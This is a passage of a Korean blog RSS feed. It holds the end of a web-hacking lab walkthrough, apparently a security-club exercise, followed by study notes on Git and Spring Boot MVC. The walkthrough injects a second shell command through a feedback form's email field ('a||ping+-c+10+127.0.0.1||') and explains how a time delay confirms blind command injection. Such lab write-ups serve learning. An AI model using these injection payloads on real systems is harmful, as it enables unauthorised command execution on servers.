&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Submit feedback 클릭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-04 오후 9.17.32.png&quot; data-origin-width=&quot;2350&quot; data-origin-height=&quot;1558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceUiC3/dJMcaaLXnNj/ofIEmYsZDCdlt2lNl35rC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceUiC3/dJMcaaLXnNj/ofIEmYsZDCdlt2lNl35rC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceUiC3/dJMcaaLXnNj/ofIEmYsZDCdlt2lNl35rC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceUiC3%2FdJMcaaLXnNj%2FofIEmYsZDCdlt2lNl35rC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;447&quot; height=&quot;296&quot; data-filename=&quot;스크린샷 2026-05-04 오후 9.17.32.png&quot; data-origin-width=&quot;2350&quot; data-origin-height=&quot;1558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 각 칸을 채우고 Submit feedback&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-04 오후 9.20.17.png&quot; data-origin-width=&quot;1744&quot; data-origin-height=&quot;1354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cC8GCJ/dJMcagZFldp/G5CQZVe6MZGQcev34BY8ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cC8GCJ/dJMcagZFldp/G5CQZVe6MZGQcev34BY8ok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cC8GCJ/dJMcagZFldp/G5CQZVe6MZGQcev34BY8ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcC8GCJ%2FdJMcagZFldp%2FG5CQZVe6MZGQcev34BY8ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;430&quot; height=&quot;334&quot; data-filename=&quot;스크린샷 2026-05-04 오후 9.20.17.png&quot; data-origin-width=&quot;1744&quot; data-origin-height=&quot;1354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. POST 요청 본문에서 email부분을 두번째 사진과 같이 바꾸고 forward&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-04 오후 9.22.37.png&quot; data-origin-width=&quot;1628&quot; data-origin-height=&quot;1294&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFTWs4/dJMcab49glG/wrTSM5PSYVfAV7LNfwzvb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFTWs4/dJMcab49glG/wrTSM5PSYVfAV7LNfwzvb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFTWs4/dJMcab49glG/wrTSM5PSYVfAV7LNfwzvb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFTWs4%2FdJMcab49glG%2FwrTSM5PSYVfAV7LNfwzvb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;442&quot; height=&quot;351&quot; data-filename=&quot;스크린샷 2026-05-04 오후 9.22.37.png&quot; data-origin-width=&quot;1628&quot; data-origin-height=&quot;1294&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-04 오후 9.27.41.png&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;622&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpwm9D/dJMcadu3343/h7sdE9KP69iUE4wgWK6hy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpwm9D/dJMcadu3343/h7sdE9KP69iUE4wgWK6hy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpwm9D/dJMcadu3343/h7sdE9KP69iUE4wgWK6hy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpwm9D%2FdJMcadu3343%2Fh7sdE9KP69iUE4wgWK6hy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;190&quot; data-filename=&quot;스크린샷 2026-05-04 오후 9.27.41.png&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;622&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) email=a||ping+-c+10+127.0.0.1|| 에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;a : 이메일 형식 시작부분(구문 오류 방지, 공격 명령어 이어붙이기위해 사용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;|| : 앞명령어가 실패하더라도 뒤의 명령어를 실행하라는 논리연산자 OR&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ping: 네트워크 연결을 확인 하는 도구 (반드시 실행되도록 강제하는 역할)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-c 10: 패킷을 10번 보내라는 옵션(보통 1초에 한번씩 보내므로 약 10초의 시간지연을 의도적으로 만드는 것)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1 : 자기 자신(local host)에게 패킷을 보내 서버 내부에서만 동작하게 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+ : 공백&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 10초 정도의 지연 후 배너 뜸&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Unknown-3.png&quot; data-origin-width=&quot;1450&quot; data-origin-height=&quot;608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccXWto/dJMcacQwbNs/MJO1ohN92yvXnEFXBtHYk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccXWto/dJMcacQwbNs/MJO1ohN92yvXnEFXBtHYk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccXWto/dJMcacQwbNs/MJO1ohN92yvXnEFXBtHYk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccXWto%2FdJMcacQwbNs%2FMJO1ohN92yvXnEFXBtHYk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;469&quot; height=&quot;197&quot; data-filename=&quot;Unknown-3.png&quot; data-origin-width=&quot;1450&quot; data-origin-height=&quot;608&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>SWLUG(2026)/웹해킹</category>
      <author>batterygj</author>
      <guid isPermaLink="true">https://batterygj.tistory.com/72</guid>
      <comments>https://batterygj.tistory.com/72#entry72comment</comments>
      <pubDate>Mon, 4 May 2026 21:39:38 +0900</pubDate>
    </item>
    <item>
      <title>[2주차] Git &amp;amp; Github, 스프링부트</title>
      <link>https://batterygj.tistory.com/71</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-29 011016.png&quot; data-origin-width=&quot;409&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VbIdN/dJMcafGqNXV/c0lbxc8BVoP2Ws7pfCSoeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VbIdN/dJMcafGqNXV/c0lbxc8BVoP2Ws7pfCSoeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VbIdN/dJMcafGqNXV/c0lbxc8BVoP2Ws7pfCSoeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVbIdN%2FdJMcafGqNXV%2Fc0lbxc8BVoP2Ws7pfCSoeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;409&quot; height=&quot;162&quot; data-filename=&quot;스크린샷 2026-04-29 011016.png&quot; data-origin-width=&quot;409&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Git&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;:(소프트웨어 개발에서 코드의 변경 사항을 기록,관리) 분산 버전 관리 시스템&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Github&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: git을 사용하는 프로젝트를 지원하는 웹 호스팅 서비스&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;repository(저장소)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- local repository(로컬 저장소) ; 내 컴퓨터 안에 저장소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 네트워크 연결없이 작업 내용을 커밋하거나 과거 기록 조회 가능. 커밋들이 영구적으로 저장되는 영역&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- remote repository(원격 저장소) ; 외부 서버(gitbub 등)에 위치한 저장소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 여러사람이 공유 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- upstream : 소스 원형이 기록된 서버 저장소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- origin : 원형을 복제하여 만든 나의 서버 저장소(기본 원격 저장소)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;용어정리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기본 구조&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Working Directory : 작업 디렉토리. Git이 관리하지만 추적하지 않음&lt;/li&gt;
&lt;li&gt;Staging Area : 작업 내용이 올라가는 임시 저장 영역(=index)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 작업 흐름&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;commit : 프로젝트의 현재 상태를 나타내는 체크포인트 또는 스냅샷(과거 모든기록이 타임라인으로 남음)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;add : 파일을 working directory에서 staging area로 옮기는 작업&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;push : 로컬의 commit을 원격 저장소로 업로드&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;pull : 원격 저장소의 변경 사항을 로컬에 저장하는 과정&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;fetch : 원격 저장소의 변경 사항을 로컬 저장소에 pull하기 전에 미리 확인만 하는 기능&lt;/li&gt;
&lt;li&gt;clone : 원격 저장소의 모든 데이터를 나의 로컬 저장소로 복제해오는 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 협업 관련&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;branch : 독립적 작업흐름을 위한 가지치기. 작업은 현재 상태를 복사한 브랜치에서 해야함&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;merge : 분리된 브랜치에서의 작업을 다시 메인 브랜치로 합치기(브랜치 간 충돌 주의)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;head : 현재 내가 작업 중인 브랜치의 가장 최신 커밋을 가리키는 포인터&lt;/li&gt;
&lt;li&gt;switch : 작업중인 브랜치를 변경&lt;/li&gt;
&lt;li&gt;checkout : 특정 커밋 시점으로 이동&lt;/li&gt;
&lt;li&gt;conflict : 같은 파일의 같은 부분을 두명이 동시에 수정했을 때 git이 자동으로 합치지 못해 발생. 개발자가 직접 해결해야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Github 및 오픈소스 관련 용어&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;fork : 다른 사람의 원격 저장소를 내 원격 저장소로 복제&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;pull request : 내가 작업한 내용을 원본 저장소에 반영해달라고 요청&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;issue : 프로제트의 버그, 건의사항, 할 일 등을 기록하고 논의하는 게시판&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;.gitignore : Git 버전 관리에서 제외할 파일 목록을 지정하는 파일&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) fork한 repository: 원본 변화시 상태 변화없음. 반영 시키려면 github에서 'Sync Fork'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;clone된 로컬: 원본 변화시 상태 변화없음. 반영 시키려면 터미널에서 git pull 또는 fetch 실행&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;773&quot; data-origin-height=&quot;437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMZnfG/dJMcagFl8DI/wlfMzgxDWbWLK9qzq9GyO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMZnfG/dJMcagFl8DI/wlfMzgxDWbWLK9qzq9GyO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMZnfG/dJMcagFl8DI/wlfMzgxDWbWLK9qzq9GyO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMZnfG%2FdJMcagFl8DI%2FwlfMzgxDWbWLK9qzq9GyO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;547&quot; height=&quot;309&quot; data-origin-width=&quot;773&quot; data-origin-height=&quot;437&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;스프링부트&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 스프링 프레임 워크를 기반으로 한, 스프링을 더 쉽게 이용하기 위한 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) 프레임 워크: 개발 과정을 수월하게 하기 위해 공통적 기능을 라이브러리 형태로 제공하는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) 스프링 프레임 워크: Java를 기반으로 한 웹 어플리케이션 프레임 워크&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심특징&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 단독 실행 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 자동 설정: 자바 설정 코드 등을 직접 작성하지 않아도 필요한 설정을 자동으로 구성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스타터 의존성: 스타터 라이브러리를 통해 특정 목적에 필요한 라이브러리 묶음 간편 관리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 운영 준비 완료: 운영 환경에서 필요한 기능 기본 제공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MVC 아키텍처 패턴&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 애플리케이션의 역할을 세가지로 나누어 관리하는 디자인 패턴 ( 코드의 재사용성을 높이고 유지보수를 용이하게 함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) 디자인 패턴: 효율적으로 코드를 작성하기 위한 코딩 규칙 or 프로젝트 구조 및 규약&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;model: 데이터와 비즈니스 로직 담당. 데이터베이스와 상호작용하며 데이터를 정의, 처리&lt;/li&gt;
&lt;li&gt;view:사용자에게 보여지는 화면(UI) 담당. 모델로부터 받은 데이터를 출력&lt;/li&gt;
&lt;li&gt;controller: 사용자의 요청을 받아 처리 흐름을 제어. 모델에 데이터를 요청하고 그 결과를 뷰에 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;스프링부트의 폴더 구조&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-29 102328.png&quot; data-origin-width=&quot;361&quot; data-origin-height=&quot;285&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOqanS/dJMcaiXoKhp/qK1jqiRstk44Yoor3fL74K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOqanS/dJMcaiXoKhp/qK1jqiRstk44Yoor3fL74K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOqanS/dJMcaiXoKhp/qK1jqiRstk44Yoor3fL74K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOqanS%2FdJMcaiXoKhp%2FqK1jqiRstk44Yoor3fL74K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;272&quot; height=&quot;215&quot; data-filename=&quot;스크린샷 2026-04-29 102328.png&quot; data-origin-width=&quot;361&quot; data-origin-height=&quot;285&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;controller&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라이언트로부터 요청을 받고, 해당 요청에 대한 처리 수행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTTP 요청 처리(GET, POST, PUT, DELETE 등의 메서드를 가짐)&lt;/p&gt;
&lt;pre id=&quot;code_1777426487311&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@RestController  // 이 클래스가 HTTP 요청을 처리하는 컨트롤러임을 선언
public class HelloController{

	@GetMapping(&quot;/hello&quot;)  // 클라이언트가 브러우저 주소창에 &quot;/hello&quot; 경로로 HTTP GET요청을 보내면 아래의 메서드와 연결
	public String hello(){   // 요청이 들어왔을 때 실행될 메서드
		return &quot;Hello, world!&quot;;  // 클라이언트에게 다음의 문장을 보냄
		}
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) @RestController: @Controller와 @ResponseBody를 합친것. 데이터를 응답 본문에 직접 담아 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;domain&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터베이스 테이블과 매핑되는 클래스들&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 어플리케이션의 도메인 모델&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 엔티티 클래스와 DTO 클래스를 포함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) DTO: 데이터 전달을 담당하는 객체&lt;/p&gt;
&lt;pre id=&quot;code_1777426520170&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class User{		// User 정보를 담기 위한 클래스 선언
	private Long id;	// 각 사용자를 고유하게 식별하기 위한 ID
	private String username;		// 사용자의 이름이나 아이디를 저장하기 위한 문자열 필드
	private String email;		// 사용자의 이메일 주소를 저장하기 위한 문자열 필드
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;repository&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터베이스와 상호작용 담당. 데이터베이스에서 데이터를 읽고 쓰는 작업을 수행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- CRUD 작업 수행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;save(), findByld(), findAll()과 같은 메서드를 자동으로 제공 -&amp;gt; Spring Data JPA&lt;/p&gt;
&lt;pre id=&quot;code_1777426549847&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Repository		// 이 인터페이스가 데이터 접근 계층임을 스프링에 알림
public interface UserRepository extends JpaRepository&amp;lt;User, Long&amp;gt;{	//JpaRepository를 상속받음
	User findbyUsername(String username); 	// 쿼리 메소드 기능
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) &amp;lt;User, Long&amp;gt; : 이 리포지토리가 다룰 엔티티 클래스(User)와 그 엔티티의 PK타입(Long)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JpaRepository를 상속받으면 save(), delete() 같은 기본 CRUD기능 바로 사용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) 메서드 이름을 규칙에 맞게 지으면 스프링이 이를 분석해 자동으로 SQL 쿼리를 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 내부적으로 &quot;SELECT * FROM user WHERE username = ?&quot; 같은 쿼리가 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;service&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 비즈니스 로직 수행 (트랜잭션 관리, 예외 처리 등)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 여러 저장소를 조합하거나 데이터 가공을 담당&lt;/p&gt;
&lt;pre id=&quot;code_1777426585394&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Service // 이 클래스가 비즈니스 로직을 수행하는 서비스 계층임을 스프링에 알림
public class UserService{
	@Autowired		// 스프링이 관리하는 UserRepository 객체를 자동으로 이 자리에 주입
	private UserRepository userRepository;  
	public User getUserByUsername(String username){   // 사용자의 이름을 통해 유저 정보를 가져오는 비즈니스 메서드
		return userRepository.findByUsername(username);  // 주입받은 리포지토리의 메서드를 호출해 실제 DB조회를 수행 후 결과 반환
	}
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
